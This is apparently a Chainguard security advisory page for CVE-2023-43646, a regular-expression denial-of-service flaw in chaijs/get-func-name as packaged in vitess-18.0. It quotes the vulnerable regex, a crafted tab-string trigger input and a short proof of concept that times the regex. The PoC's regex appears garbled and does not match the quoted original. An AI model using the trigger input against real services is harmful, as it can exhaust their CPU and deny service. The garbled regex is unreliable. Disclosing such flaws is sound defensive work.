/
DirectorySecurity Advisories
Sign In
Security Advisories

CGA-fhmx-wc9r-8xpw

Published

Last updated

https://images.chainguard.dev/security/CGA-fhmx-wc9r-8xpw
Package

vitess-18.0

Repository

Chainguard

Latest Update
Fixed
Fixed Version

18.0.8-r2

Aliases
  • CVE-2023-43646
  • GHSA-4q6p-r6v2-jvc5

Severity

Unknown

Summary

Chaijs/get-func-name vulnerable to ReDoS

Description

The current regex implementation for parsing values in the module is susceptible to excessive backtracking, leading to potential DoS attacks. The regex implementation in question is as follows:

const functionNameMatch = /\s*function(?:\s|\s*\/\*[^(?:*/)]+\*\/\s*)*([^\s(/]+)/;

This vulnerability can be exploited when there is an imbalance in parentheses, which results in excessive backtracking and subsequently increases the CPU load and processing time significantly. This vulnerability can be triggered using the following input:

'\t'.repeat(54773) + '\t/function/i'

Here is a simple PoC code to demonstrate the issue:

const protocolre = /\sfunction(?:\s|\s/*[^(?:*\/)]+*/\s*)*([^\(\/]+)/;

const startTime = Date.now();
const maliciousInput = '\t'.repeat(54773) + '\t/function/i'

protocolre.test(maliciousInput);

const endTime = Date.now();

console.log("process time: ", endTime - startTime, "ms");

References

Updates


Safe Source for Open Sourceâ„¢
Media KitContact Us
© 2025 Chainguard. All Rights Reserved.
Private PolicyTerms of Use

Products

Chainguard ContainersChainguard LibrariesChainguard VMs